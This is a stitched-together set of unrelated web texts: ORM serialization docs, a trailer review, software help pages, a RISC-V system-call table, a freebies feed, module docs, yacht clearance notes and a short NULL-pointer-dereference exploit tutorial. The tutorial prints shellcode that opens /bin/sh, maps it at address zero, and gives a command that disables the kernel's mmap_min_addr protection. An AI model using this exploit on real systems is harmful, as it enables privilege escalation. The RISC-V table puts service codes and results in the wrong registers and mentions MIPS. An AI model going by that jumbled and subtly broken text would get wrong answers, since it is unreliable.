A natural fall-out of this approach means also that such things as views can be easily created for different audiences.
Recursive Serialization¶
For this next section, let us start by first revoking the stop lists and serial lists that we have and take a look at the process in a different way.
# assume the class variables are set on the defaults in their class definitions.
User.SERIAL_FIELDS = None
User.SERIAL_STOPLIST = None
User.SERIAL_FIELD_RELATIONS = None
Address.SERIAL_FIELDS = None
Address.SERIAL_STOPLIST = None
Address.SERIAL_FIELD_RELATIONS = None
>>> print(user.serialize(indent=2))
{
"addresses": [
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 1
},
{
"userId": 3,
"emailAddress"<EMAIL_ADDRESS>"id": 2
}
],
"lastName": "Smith",
"fullName": "Bob Smith",
"id": 3,
"firstName": "Bob"
}
As a note, if you change such class variables on the fly such as User.SERIAL_FIELDS, you might well have unintended effects.
See how the address serialization digs back into the user object. This is due to the relationship that Address has with User. But, serializatin does not go back to User once again when you run user.serialize(). The reason is that are there are limits in place to avoid going into an endless loop.
However, there are situations where it is entirely desirable.
We now create a table for holding network nodes. A node can be connected to other nodes in a relationship to form tree structures for example. Because of that, the relationships are self-referential. Where in the example above, we needed to stop serialization before it turns back in on itself, now we want to follow the relationships all the way down.
To show this we first create the table and a few nodes, and connect them together. Let’s model .. code-block:
node 1
| |
node 2 node 5
| | |
node 3 node 4 node 6
class Node(db.Model):
"""self-referential table"""
__tablename__ = 'nodes'
id = db.Column(db.Integer, primary_key=True)
parent_id = db.Column(db.Integer, db.ForeignKey('nodes.id'))
data = db.Column(db.String(50))
children = db.relationship(
"Node",
lazy="joined",
order_by="Node.id",
join_depth=10)
SERIAL_FIELDS = ['id', 'parent_id', 'data', 'children']
db.create_all()
node1 = Node(id=1, data='this is node1')
node2 = Node(id=2, data='this is node2')
node3 = Node(id=3, data='this is node3')
node4 = Node(id=4, data='this is node4')
node5 = Node(id=5, data='this is node5')
node6 = Node(id=6, data='this is node6')
db.session.add(node1)
db.session.commit()
node1.children.append(node2)
db.session.commit()
node2.children.append(node3)
db.session.commit()
node2.children.append(node4)
db.session.commit()
node1.children.append(node5)
db.session.commit()
node5.children.append(node6)
db.session.commit()
So the nodes are all linked up with node1 as the root. So when we serialize node 1 we get:
>>> node1.serialize(indent=2)
{
"id": 1,
"parentId": null,
"data": "this is node1",
"children": [
{
"id": 2,
"parentId": 1,
"data": "this is node2",
"children": [
{
"id": 3,
"parentId": 2,
"data": "this is node3",
"children": []
},
{
"id": 4,
"parentId": 2,
"data": "this is node4",
"children": []
}
]
},
{
"id": 5,
"parentId": 1,
"data": "this is node5",
"children": [
{
"id": 6,
"parentId": 5,
"data": "this is node6",
"children": []
}
]
}
]
}
By the way, showing examples of serialization in printed form is much better if the JSON version is indented. In fact, the default is the more compact form to reduce overall size of the output. For example, the above emitted from an API would be:
>>> node1.serialize()
{“id”: 1, “parentId”: null, “data”: “this is node1”, “children”: [{“id”: 2, “parentId”: 1, “data”: “this is node2”, “children”: [{“id”: 3, “parentId”: 2, “data”: “this is node3”, “children”: []}, {“id”: 4, “parentId”: 2, “data”: “this is node4”, “children”: []}]}, {“id”: 5, “parentId”: 1, “data”: “this is node5”, “children”: [{“id”: 6, “parentId”: 5, “data”: “this is node6”, “children”: []}]}]}
Document Dictionaries¶
Document Dictionaries introspect the model classes you have built and present the data objects in a format similar to Swagger / OpenAPI. This enables a method for communicating the details of the models. In addition, the functions could be wrapped into parsing functions that evaluate query strings and form data, directly from the table characteristics. This avoids the extra work of defining tables, and then coding a separate schema just to evaluate incoming and outgoing data. Finally, the doc functions could be used as a basis for unit/integration tests to ensure that all the requirements for the data have been met.
Table Documentation¶
Suppose we were to describe the two tables created above, User, and Address.
>>> db.doc_tables(to_camel_case=True)
This would yield the following output that details object models similarly to OpenApi. It details the column characteristics for each table. Note how the foreign key is annotated in Address. If defaults had been defined for the tables, it would detail the default type including server defaults.
In the example shown, the column names have been converted to camel case. Front end developers, used to JavaScript notation may be more comfortable in this format.
{
"definitions": {
"Address": {
"type": "object",
"properties": {
"id": {
"type": "integer",
"format": "int32",
"primary_key": true,
"nullable": false,
"info": {}
},
"email_address": {
"type": "string",
"nullable": false,
"info": {}
},
"user_id": {
"type": "integer",
"format": "int32",
"nullable": true,
"foreign_key": "users.id",
"info": {}
},
"user": {
"readOnly": false,
"relationship": {
"type": "single",
"entity": "User",
"fields": {
"id": {
"type": "integer",
"format": "int32",
"primary_key": true,
"nullable": false,
"info": {}
},
"full_name": {
"readOnly": true
}
}
}
}
},
"xml": "Address"
},
"User": {
"type": "object",
"properties": {
"id": {
"type": "integer",
"format": "int32",
"primary_key": true,
"nullable": false,
"info": {}
},
"addresses": {
"readOnly": false,
"relationship": {
"type": "list",
"entity": "Address",
"fields": {
"id": {
"type": "integer",
"format": "int32",
"primary_key": true,
"nullable": false,
"info": {}
},
"email_address": {
"type": "string",
"nullable": false,
"info": {}
},
"user_id": {
"type": "integer",
"format": "int32",
"nullable": true,
"foreign_key": "users.id",
"info": {}
}
}
}
},
"full_name": {
"readOnly": true
}
},
"xml": "User"
}
}
}
Filtering for Form Data and Query Strings¶
If you have used Flask-Restful, one of the features involves argument parsing of form data, query strings, etc. This involves entering arguments such as:
parser = reqparse.RequestParser()
parser.add_argument("id", type=int, required=False)
parser.add_argument("firstName", type=str, required=True)
parser.add_argument("lastName", type=str, required=True)
The kind of characteristics necessary to process that data is already available from the above objects. The creators of Flask-Restful have indicated that they are going to eventually drop support of the reqparse class would does the above.
Using generated objects such as above can be wrapped into a parsing mechanism reducing the need for a duplication of effort. You have already done the work of carefully crafting your tables. Using the document dictionaries you can get more mileage out of it.
A Larger Example of a Document Dictionary¶
To get an idea of the range of support it helps to see a more complicated table. The following table is basically a zoo of different combinations of column types and parameters.
status_codes = [
[0, "New"],
[1, "Active"],
[2, "Suspended"],
[3, "Inactive"],
]
class StatusCodes(types.TypeDecorator):
"""
Status codes are entered as strings and converted to
integers when saved to the database.
"""
impl = types.Integer
def __init__(self, status_codes, **kw):
self.choices = dict(status_codes)
super(StatusCodes, self).__init__(**kw)
def process_bind_param(self, value, dialect):
"""called when saving to the database"""
return [
k
for k, v in self.choices.items()
if v == value
][0]
def process_result_value(self, value, dialect):
"""called when pulling from database"""
return self.choices[value]
class BigTable(db.Model):
"""Test class with a variety of column types"""
__tablename__ = "main"
id = db.Column(
db.Integer,
primary_key=True,
nullable=True,
comment="Primary key with a value assigned by the database",
info={"extra": "info here"},
)
status_id = db.Column(
StatusCodes(status_codes),
nullable=False,
comment="Choices from a list. String descriptors "
"change to integer upon saving. Enums without the headache.",
)
@db.orm.validates("status_id")
def _validate_id(self, key, id):
"""_validate_id
Args:
id: (int) : id must be in cls.choices
"""
if id not in dict(status_codes):
raise ValueError("{} is not valid".format(id))
return id
# nullable / not nullable
name1 = db.Column(
db.String(50), nullable=False, comment="This field is required"
)
name2 = db.Column(
db.String(50),
nullable=True,
comment="This field is not required",
)
# text default
name3 = db.Column(
db.Text,
default="test",
nullable=False,
comment="This field has a default value",
index=True,
)
item_length = db.Column(
db.Float, nullable=False, comment="This field is a float value"
)
item_amount = db.Column(db.Numeric(17, 6), default=0.0)
# integer and default
some_small_int = db.Column(
db.SmallInteger,
default=0,
nullable=False,
comment="This field is a small integer",
)
some_int = db.Column(
db.Integer,
default=0,
nullable=False,
comment="This field is a 32 bit integer",
)
some_big_int = db.Column(
db.BigInteger,
default=0,
nullable=False,
comment="This field is a big integer",
)
fk_id = db.Column(
db.Integer,
db.ForeignKey("other_table.id"),
nullable=False,
comment="This field is constrained by a foreign key on"
"another table",
)
today = db.Column(
db.Date,
doc="this is a test",
info={"test": "this is"},
comment="This field defaults to today, created at model level",
default=date.today,
)
created_at1 = db.Column(
db.DateTime,
default=datetime.now,
comment="This field defaults to now, created at model level",
)
created_at2 = db.Column(
db.DateTime,
server_default=db.func.now(),
comment="This field defaults to now, created at the server"
"level",
)
update_time1 = db.Column(
db.DateTime,
onupdate=datetime.now,
comment="This field defaults only on updates",
)
update_time2 = db.Column(
db.DateTime,
server_onupdate=db.func.now(),
comment="This field defaults only on updates, but on the"
"server",
)
unique_col = db.Column(
db.String(20),
unique=True,
comment="This must be a unique value in the database.",
)
# adapted from sqlalchemy docs
abc = db.Column(
db.String(20),
server_default="abc",
comment="This field defaults to text but on the server.",
)
index_value = db.Column(
db.Integer,
server_default=db.text("0"),
comment="This field defaults to an integer on the server.",
)
__table_args = (
db.Index("ix_name1_name2", "name1", "name2", unique=True),
)
class OtherTable(db.Model):
__tablename__ = "other_table"
id = db.Column(db.Integer, primary_key=True, nullable=True)
..
From that table we can generation our document dictionary:
{
"BigTable": {
"type": "object",
"properties": {
"item_amount": {
"type": "numeric(17, 6)",
"nullable": true,
"default": {
"for_update": false,
"arg": 0.0
},
"info": {}
},
"name2": {
"type": "string",
"maxLength": 50,
"nullable": true,
"comment": "This field is not required",
"info": {}
},
"abc": {
"type": "string",
"maxLength": 20,
"nullable": true,
"server_default": {
"for_update": false,
"arg": "abc",
"reflected": false
},
"comment": "This field defaults to text but on the server.",
"info": {}
},
"fk_id": {
"type": "integer",
"format": "int32",
"nullable": false,
"foreign_key": "other_table.id",
"comment": "This field is constrained by a foreign key onanother table",
"info": {}
},
"some_small_int": {
"type": "integer",
"format": "int8",
"nullable": false,
"default": {
"for_update": false,
"arg": 0
},
"comment": "This field is a small integer",
"info": {}
},
"some_int": {
"type": "integer",
"format": "int32",
"nullable": false,
"default": {
"for_update": false,
"arg": 0
},
"comment": "This field is a 32 bit integer",
"info": {}
},
"update_time2": {
"type": "date-time",
"nullable": true,
"server_onupdate": {
"for_update": true,
"arg": "db.func.now()",
"reflected": false
},
"comment": "This field defaults only on updates, but on theserver",
"info": {}
},
"index_value": {
"type": "integer",
"format": "int32",
"nullable": true,
"server_default": {
"for_update": false,
"arg": "db.text(\"0\")",
"reflected": false
},
"comment": "This field defaults to an integer on the server.",
"info": {}
},
"update_time1": {
"type": "date-time",
"nullable": true,
"onupdate": {
"for_update": true,
"arg": "datetime.now"
},
"comment": "This field defaults only on updates",
"info": {}
},
"today": {
"type": "date",
"nullable": true,
"default": {
"for_update": false,
"arg": "date.today"
},
"doc": "this is a test",
"comment": "This field defaults to today, created at model level",
"info": {
"test": "this is"
}
},
"id": {
"type": "integer",
"format": "int32",
"primary_key": true,
"nullable": true,
"comment": "Primary key with a value assigned by the database",
"info": {
"extra": "info here"
}
},
"created_at1": {
"type": "date-time",
"nullable": true,
"default": {
"for_update": false,
"arg": "datetime.now"
},
"comment": "This field defaults to now, created at model level",
"info": {}
},
"name1": {
"type": "string",
"maxLength": 50,
"nullable": false,
"comment": "This field is required",
"info": {}
},
"created_at2": {
"type": "date-time",
"nullable": true,
"server_default": {
"for_update": false,
"arg": "db.func.now()",
"reflected": false
},
"comment": "This field defaults to now, created at the serverlevel",
"info": {}
},
"some_big_int": {
"type": "integer",
"format": "int64",
"nullable": false,
"default": {
"for_update": false,
"arg": 0
},
"comment": "This field is a big integer",
"info": {}
},
"unique_col": {
"type": "string",
"maxLength": 20,
"nullable": true,
"unique": true,
"comment": "This must be a unique value in the database.",
"info": {}
},
"item_length": {
"type": "float",
"nullable": false,
"comment": "This field is a float value",
"info": {}
},
"status_id": {
"type": "integer",
"format": "int32",
"choices": {
"0": "New",
"1": "Active",
"2": "Suspended",
"3": "Inactive"
},
"nullable": false,
"comment": "Choices from a list. String descriptors change to integer upon saving. Enums without the headache.",
"info": {}
},
"name3": {
"type": "text",
"nullable": false,
"default": {
"for_update": false,
"arg": "test"
},
"index": true,
"comment": "This field has a default value",
"info": {}
}
},
"xml": "BigTable"
}
}
This output illustrates a range of some of what is available and how the parameters are formatted.
BigTable:
type: object
properties:
abc:
comment: This field defaults to text but on the server.
info: {}
maxLength: 20
nullable: true
server_default:
arg: abc
for_update: false
reflected: false
type: string
created_at1:
comment: This field defaults to now, created at model level
default:
arg: datetime.now
for_update: false
info: {}
nullable: true
type: date-time
created_at2:
comment: This field defaults to now, created at the serverlevel
info: {}
nullable: true
server_default:
arg: db.func.now()
for_update: false
reflected: false
type: date-time
fk_id:
comment: This field is constrained by a foreign key onanother table
foreign_key: other_table.id
format: int32
info: {}
nullable: false
type: integer
id:
comment: Primary key with a value assigned by the database
format: int32
info:
extra: info here
nullable: true
primary_key: true
type: integer
index_value:
comment: This field defaults to an integer on the server.
format: int32
info: {}
nullable: true
server_default:
arg: db.text("0")
for_update: false
reflected: false
type: integer
item_amount:
default:
arg: 0.0
for_update: false
info: {}
nullable: true
type: numeric(17, 6)
item_length:
comment: This field is a float value
info: {}
nullable: false
type: float
name1:
comment: This field is required
info: {}
maxLength: 50
nullable: false
type: string
name2:
comment: This field is not required
info: {}
maxLength: 50
nullable: true
type: string
name3:
comment: This field has a default value
default:
arg: test
for_update: false
index: true
info: {}
nullable: false
type: text
some_big_int:
comment: This field is a big integer
default:
arg: 0
for_update: false
format: int64
info: {}
nullable: false
type: integer
some_int:
comment: This field is a 32 bit integer
default:
arg: 0
for_update: false
format: int32
info: {}
nullable: false
type: integer
some_small_int:
comment: This field is a small integer
default:
arg: 0
for_update: false
format: int8
info: {}
nullable: false
type: integer
status_id:
choices:
0: New
1: Active
2: Suspended
3: Inactive
comment: Choices from a list. String descriptors change to integer upon
saving. Enums without the headache.
format: int32
info: {}
nullable: false
type: integer
today:
comment: This field defaults to today, created at model level
default:
arg: date.today
for_update: false
doc: this is a test
info:
test: this is
nullable: true
type: date
unique_col:
comment: This must be a unique value in the database.
info: {}
maxLength: 20
nullable: true
type: string
unique: true
update_time1:
comment: This field defaults only on updates
info: {}
nullable: true
onupdate:
arg: datetime.now
for_update: true
type: date-time
update_time2:
comment: This field defaults only on updates, but on theserver
info: {}
nullable: true
server_onupdate:
arg: db.func.now()
for_update: true
reflected: false
type: date-time
xml: BigTable
DBBase is compatible with Python >=3.6 and is distributed under the MIT license.


Trailer Review: The Body
by Akash NihalaniMovie: The Body
Cast: Rishi Kapoor, Emraan Hashmi, Sobhita Dhulipala and Vedhika
Release Date: 13 December 2019
Trailer Rating: 3.5/5
The trailer of The Body starring Rishi Kapoor, Emraan Hashmi, Sobhita Dhulipala and Vedhika, known for her work in south Indian films, is out now and looking at the trailer it seems like the film will serve a healthy dose of drama and suspense.
The trailer revolves around a police officer’s search for a body gone missing from a morgue. The body that is being searched is of a successful business woman Maya (Sobhita Dhulipala). The prime suspect of the is her own husband which is played by Emraan. The investigating officer in the case is played by Rishi Kapoor, who makes his return to the big screen in a rather interesting role. Later, in the trailer we witness another twist in which it is shown that Emraan’s character had been cheating on his wife with another woman, played by Vedhika. What caught our attention in the trailer was that in the last scene, we. See Emraan trying to flush a piece of paper with ‘I love you jaan’ written over it. However, when he realises the police are on the lookout, he ends up swallowing it instead.
The film has been made under the banner of Viacom18 Studios & Azure Entertainment. It is scheduled to release on December 13.


A resource fault can be added by either selecting Application > Create a new Resource Faultů or by finding the resource in the resource pane, right-clicking and selecting "Create a Fault." You can also set a resource fault by right clicking the Resource Fault Node in the Project Pane and selecting "Create a Resource Fault." Once a Resource Fault has been set that resource will be displayed in red text.
If you create the fault by the later method the Create a New Resource Fault wizard will have the correct resource already selected, otherwise you will have to find the correct resource in the resource tree on the first page of the wizard.
You can quickly set Resource faults without having to go through the Resource Fault Wizard by finding the correct resource, right-clicking and selecting "Select a Fault > Fault Name." This will set the fault immediately.
To remove a Resource fault:
Find the resource in the Resource Pane right-click and select "Clear Existing Fault"
Or right-click the fault in the Project pane under the Resource Faults Node and select "Delete Resource Fault"


A number of system services, mainly for input and output, are available for use by your RISCV program. They are described in the table below.
MIPS register contents are not affected by a system call, except for result registers as specified in the table below.
li a3, 1 # service 1 is print integer add a0, t0, zero # load desired value into argument register $a0, using pseudo-op ecall
| Service | Code in a0 | Arguments | Result |
|---|---|---|---|
| print integer | 1 | a0 = integer to print | |
| print float | 2 | $f12 = float to print | |
| print double | 3 | $f12 = double to print | |
| print string | 4 | a0 = address of null-terminated string to print | |
| read integer | 5 | a3 contains integer read | |
| read float | 6 | f0 contains float read | |
| read double | 7 | f0 contains double read | |
| read string | 8 | a0 = address of input buffer a1 = maximum number of characters to read | See note below table |
| sbrk (allocate heap memory) | 9 | a0 = number of bytes to allocate | a3 contains address of allocated memory |
| exit (terminate execution) | 10 | ||
| print character | 11 | a0 = character to print | See note below table |
| read character | 12 | a3 contains character read | |
| open file | 13 | a0 = address of null-terminated string containing filename a1 = flags a2 = mode | a3 contains file descriptor (negative if error). See note below table |
| read from file | 14 | a0 = file descriptor a1 = address of input buffer a2 = maximum number of characters to read | a3 contains number of characters read (0 if end-of-file, negative if error). See note below table |
| write to file | 15 | a0 = file descriptor a1 = address of output buffer a2 = number of characters to write | a3 contains number of characters written (negative if error). See note below table |
| close file | 16 | a0 = file descriptor | |
| exit2 (terminate with value) | 17 | a0 = termination result | See note below table |
| Services 1 through 17 are compatible with the SPIM simulator, other than Open File (13) as described in the Notes below the table. Services 30 and higher are exclusive to MARS. | |||
| time (system time) | 30 | a0 = low order 32 bits of system time a1 = high order 32 bits of system time. See note below table | |
| MIDI out | 31 | a0 = pitch (0-127) a1 = duration in milliseconds a2 = instrument (0-127) a0 = volume (0-127) | Generate tone and return immediately. See note below table |
| sleep | 32 | a0 = the length of time to sleep in milliseconds. | Causes the MARS Java thread to sleep for (at least) the specified number of milliseconds. This timing will not be precise, as the Java implementation will add some overhead. |
| MIDI out synchronous | 33 | a0 = pitch (0-127) a1 = duration in milliseconds a2 = instrument (0-127) a0 = volume (0-127) | Generate tone and return upon tone completion. See note below table |
| print integer in hexadecimal | 34 | a0 = integer to print | Displayed value is 8 hexadecimal digits, left-padding with zeroes if necessary. |
| print integer in binary | 35 | a0 = integer to print | Displayed value is 32 bits, left-padding with zeroes if necessary. |
| print integer as unsigned | 36 | a0 = integer to print | Displayed as unsigned decimal value. |
| (not used) | 37-39 | ||
| set seed | 40 | a0 = i.d. of pseudorandom number generator (any int). a1 = seed for corresponding pseudorandom number generator. | No values are returned. Sets the seed of the corresponding underlying Java pseudorandom number generator (java.util.Random). See note below table |
| random int | 41 | a0 = i.d. of pseudorandom number generator (any int). | a0 contains the next pseudorandom, uniformly distributed int value from this random number generator's sequence. See note below table |
| random int range | 42 | a0 = i.d. of pseudorandom number generator (any int). a1 = upper bound of range of returned values. | a0 contains pseudorandom, uniformly distributed int value in the range 0 <= [int] < [upper bound], drawn from this random number generator's sequence. See note below table |
| random float | 43 | a0 = i.d. of pseudorandom number generator (any int). | f0 contains the next pseudorandom, uniformly distributed float value in the range 0.0 <= f < 1.0 from this random number generator's sequence. See note below table |
| random double | 44 | a0 = i.d. of pseudorandom number generator (any int). | f0 contains the next pseudorandom, uniformly distributed double value in the range 0.0 <= f < 1.0 from this random number generator's sequence. See note below table |
| (not used) | 45-49 | N/A |
# Sample RISCV program that writes to a new file. # by Kenneth Vollmar and Pete Sanderson .data fout: .asciiz "testout.txt" # filename for output buffer: .asciiz "The quick brown fox jumps over the lazy dog." .text ############################################################### # Open (for writing) a file that does not exist li a3, 13 # system call for open file la a0, fout # output file name li a1, 1 # Open for writing (flags are 0: read, 1: write) li a2, 0 # mode is ignored ecall # open a file (file descriptor returned in a3) mv s6, a3 # save the file descriptor ############################################################### # Write to file just opened li a3, 15 # system call for write to file mv a0, s6 # file descriptor la a1, buffer # address of buffer from which to write li a2, 44 # hardcoded buffer length ecall # write to file ############################################################### # Close the file li a3, 16 # system call for close file mv a0, s6 # file descriptor to close ecall # close file ###############################################################


Disaster Checklist
Disaster
{{kek.item}} ({{kek.weight}} lbs)
Update Bag
Add Custom Options
Item Name:
Minimum length 2
Weight:
Minimum weight .5
Add
Your Custom Checklist
{{plain.item}} ({{plain.weight}} lbs)
Update Bag


@mdo/css-perf
Test pages for some super unscientific measuring of CSS performance.
Attribute selectors
Class selectors
background
background-color
Default box-sizing reset
Separate box-sizing reset
Floated grid system
Inline-block grid system
Tables grid system
Flexbox grid system


My department is established in 1977 and has the honor of establishing secondly in Turkey. There are several major programs like software, hardware and computer science.
| TIME | MONDAY | TUESDAY | WEDNESDAY | THURSDAY | FRIDAY |
|---|---|---|---|---|---|
| 09:00-09:45 | Physics 103 | Mathematics 123 | |||
| 10:00-10:45 | Physics 103 | Mathematics 123 | |||
| 11:00-11:45 | Physics 103 | Mathematics 123 | |||
| 12:00-13:00 | Break Time | Break Time | Break Time | Break Time | Break Time |
| 13:00-13:45 | Mathematics 123 | Physics 137 | Programming 101 | Programming 101 | Physics 137 |
| 14:00-14:45 | Mathematics 123 | Physics 137 | Programming 101 | Programming 103 | Physics 137 |
| 15:00-15:45 | Mathematics 123 | Turkish Philology | |||
| 16:10-17:40 |


Instance details: user_id: {user_id} admin_email: {admin_email} name: {name} url: {url} type: {type} arch: {arch} size: {size} zone: {zone} disk: {disk} lang: {lang} ga_track: {ga_track} ga_property: {ga_property}


Sweet Free Stuff
///////////////////////////////////////////
Free Dark Chocolate YORK Peppermint Pattie
Posted: 21 Feb 2016 04:05 AM PST
http://feedproxy.google.com/&edburner&utm_medium=email
Save 100% when you buy ONE (1) Dark Chocolate YORK Peppermint Pattie
(1.4oz. only). Expires 2/23/16. Free Dark Chocolate YORK Peppermint Pattie
The post Free Dark Chocolate YORK Peppermint Pattie appeared first on
SweetFreeStuff.com.
CommentsThanks by Jodie Rogersthanks by sharonThanks! by Jodi
///////////////////////////////////////////
Free Nordic Naturals Wellness Sample Kit
Posted: 21 Feb 2016 02:00 AM PST
http://feedproxy.google.com/&edburner&utm_medium=email
Click Free Sample on the lower right side of the page,
The post Free Nordic Naturals Wellness Sample Kit appeared first on
SweetFreeStuff.com.
CommentsWould like to try these! by Ramona HeflinI’ve also signed up for
this but never received it. by Cristiethanks by Linda WhiteWould love this
by Angela TraderI want this by gail smithPlus 2 more…
///////////////////////////////////////////
Free Colgate Toothpaste at CVS
Posted: 21 Feb 2016 12:06 AM PST
http://feedproxy.google.com/&edburner&utm_medium=email
CVS has Colgate Max 6 oz, Total 4-4.2 oz, or 2-in-1 4.6 oz. for $3.39 this
week. Use this $2.00 off Colgate Total®, Optic White®, Enamel Health™ or
Sensitive SmartWhite™ Toothpaste (3 oz or larger) and the $2.00 off Colgate
Toothpaste coupon from the Red Coupon Machine at CVS to make it FREE!
The post Free Colgate Toothpaste at CVS appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Stuff for Joining TNT Club
Posted: 20 Feb 2016 09:00 PM PST
http://feedproxy.google.com/&edburner&utm_medium=email
Join the TNT Club to receive free gifts and special offers like posters,
stickers, magnets, tattoos and more. Free Stuff for Joining TNT Club
The post Free Stuff for Joining TNT Club appeared first on
SweetFreeStuff.com.
CommentsI love free food by SydneeI love posters by SydneeI love free
stuff! by patmurr
///////////////////////////////////////////
Free Wildflower Reference Guide
Posted: 20 Feb 2016 09:00 PM PST
http://feedproxy.google.com/&edburner&utm_medium=email
Free Wildflower Reference Guide
The post Free Wildflower Reference Guide appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Winter Samples
Posted: 20 Feb 2016 03:00 PM PST
http://feedproxy.google.com/&edburner&utm_medium=email
Sign up and receive free Winter product samples! Free Winter Samples
The post Free Winter Samples appeared first on SweetFreeStuff.com.


module_paralogue_counter module¶
This module contains functions to be used in the paralogue_counter.py script (or other scripts).
-
module_paralogue_counter.
add_alignment_column
(incsv, outcsv)[source]¶ Add a column to the input csv spreadsheet which lists the alignment file name to use.
-
module_paralogue_counter.
add_model_column
(incsv, outcsv)[source]¶ Add a column to the input csv spreadsheet which lists the alignment file name to use.
***Very similar to the add_alignment_to_column function defined above. ***Not yet customized for purpose!
-
module_paralogue_counter.
add_seq_to_alignment2
(inseqobj, innexpath, outnexpath)[source]¶ Takes a sequence and adds it to an alignment.
-
module_paralogue_counter.
add_seq_to_alignment3
(inseqobj, innexpath, outnexpath)[source]¶ Takes a sequence and adds it to an alignment. Make sure that the sequence header is formatted correctly (e.g., use modify_seq_descr_for_tree function).
-
module_paralogue_counter.
check_for_redundant_seq_names
(alignment)[source]¶ Take an alignment, and assert that there are no sequences with identical names in the alignment.
-
module_paralogue_counter.
count_paralogues
(alignment, fasta, fwdeval, identity)[source]¶ Manage input and output details.
-
module_paralogue_counter.
count_paralogues2
(csv_file, alignmentdir, fastadir, fwdeval, metric_name, metric_value_minimum)[source]¶ Manage input and output details. fwdeval not used?
-
module_paralogue_counter.
count_paralogues3
(csv_file, metric_name, metric_value_minimum, minimum_percent_similarity, timestamp, overlap_required, minimum_length_of_query_to_be_distinct_paralogue, minimum_percent_length_of_query_to_be_distinct_paralogue, remove_tblastn_hits_at_annotated_loci, outfp=None)[source]¶ Manage input and output details.
-
module_paralogue_counter.
find_redun_model_recursively
(outdir, cur_ali_num, inali, ranked_seq_objs, redundant_gene_model_dict, metric_name, metric_value_minimum, minimum_percent_similarity, extra_info_dict, overlap_required)[source]¶ Recursively process sequence objects, classifying them into groups of redundant predictions for single loci/alleles.
- info_tuple = (index,
- acc, seq_obj, evalue, program, percent_len, hit_range, actual_acc, sequence_filename )
-
module_paralogue_counter.
get_all_comparison_output_filepath
(outdir)[source]¶ Define path for output file (csv format) that lists all sequence comparisons made, and their details.
-
module_paralogue_counter.
get_cur_ali_num
(alignmentdir)[source]¶ Gets number of alignment with largest number in its filename.
-
module_paralogue_counter.
get_overlapping_genes_from_gff3
(sql_database, seq_id, cluster_range)[source]¶ Take a path to a gffutils SQL database (based on a gff3 file), the sequence id for the relevant sequnce referred to in the gff file, and a range (coordinates in the form of a list object with two items). And, return IDs for any genes that fall within that range on the sequence. This is for determining whether tblastn hits correspond to already annotated protein sequences.
-
module_paralogue_counter.
get_percent_identity
(inali)[source]¶ Take an alignment, and return the percent identity between the last two sequences in an alignment.
-
module_paralogue_counter.
get_seq_obj_x
(acc_list, fastadir)[source]¶ Take an accession and find the corresponding sequence in fasta file(s) in a given directory.
-
module_paralogue_counter.
get_seq_obj_x2
(acc_list)[source]¶ Take a list of accessions and find the corresponding sequence in fasta file(s) in a given directory.
-
module_paralogue_counter.
get_sequence_comparison_dict
(inali, score_df)[source]¶ Takes an alignment in nexus format and determines if the last two sequences overlap, etc.
Overlap could be defined in various ways, depending on what is relevant…
-
module_paralogue_counter.
get_sig_overlap
(inali, score_df)[source]¶ Return true if there is significant overlap between two sequences in an alignment.
-
module_paralogue_counter.
modify_seq_descr_for_tree
(inseqobj)[source]¶ Take a SeqIO sequence object, and modify the header for easy parsing in alignment and tree files.


int *p = NULL;
int a = *p; // This is a NULL Pointer Dereference
This may be address 0x00000000 but also any other implementation-defined value :
int *p; // Uninitialized pointer
int a = *p; // This is a "NULL" Pointer Dereference
Or more complicated (with a function) :
void (*null_pointer_dereference)(void) = NULL;
(*null_pointer_dereference)();
In userland, it should result in a "segmentation fault" or "access violation". However, the kernel can access any address, in that case it can lead to code execution.
The exploit will consist of allocating and injecting our shellcode to the pointed address, usually NULL so 0x00000000.
Example :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
// Shellcode that open a shell
const char shellcode[] = "\x48\xB8\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xE8\x08\x50\x48\x89\xE7\x48\x31\xC0\xB0\x3B\x48\x31\xF6\x48\x31\xD2\x0F\x05";
int main() {
/* Inject the shellcode to the address 0x00000000 */
void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
memcpy(mem, shellcode, sizeof(shellcode));
/* Create a pointer that point to NULL (= 0x00000000) to execute the function we injected */
void (*null_pointer_dereference)(void) = NULL;
(*null_pointer_dereference)();
return 0;
}
For this example, mmap_min_addr needs to be set to 0 :
# echo 0 > /proc/sys/vm/mmap_min_addr
More documentation there :
Check the validity of the pointer :
void (*null_pointer_dereference)(void) = NULL;
if (null_pointer_dereference != NULL)
(*null_pointer_dereference)();


| Elements' Summary |
| Depth |
defines the lock's depth.
|
| Owner |
the owner of the lock.
|
| Timeout |
a timeout value for the lock.
|
| LockTokens |
the lock tokens.
|
| Elements' Details |
Depth
LockDepth Depth;
- Description
- defines the lock's depth.
|
|
Owner
any Owner;
- Description
- the owner of the lock.
This element providfes information sufficient for either directly
contacting a principal (such as a telephone number or email URI), or
for discovering the principal (such as the URL of a homepage) who
owns the lock.
|
|
Timeout
hyper Timeout;
- Description
- a timeout value for the lock.
This element specifies the number of seconds between granting
of the lock and the automatic removal of that lock. The value
must not be greater than 2^32-1 . A value of -1
stands for an infinit lock, that will never be removed automatically.
|
|
LockTokens
sequence< string > LockTokens;
- Description
- the lock tokens.
Each lock token is a URI.
|
|
Top of Page
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


All yachts arriving in New Caledonia should proceed to Port Moselle, Nouméa.
All entry formalities are now only handled in Nouméa. Yachts are not permitted to stop or anchor anywhere in New Caledonian territorial waters before having visited Nouméa and completed formalities. However, if arriving after dark you are allowed to anchor in the authorised anchorages outside the entrance to the marina until the morning.
It is no longer possible to complete clearance formalities at We on Lifou Island (Loyalty Islands). It can however be "arranged" at a cost (see Lifou for more details).
On Arrival
Fly the yellow pratique flag and the French courtesy flag on entering New Caledonian waters.
Switch to VHF channel 16. At the approaches to Port Moselle, switch to channel 67 and call the Harbour Master' office.
All crew must remain on board until clearance has been completed. You can either go alongside the marina's quarantine dock (assuming there is room), or anchor out (outside the shipping channels) and dinghy into the marina to complete clearance. The latter may be quicker as you can start early and complete clearance in one day - important when crew can only go ashore once you have cleared-in.
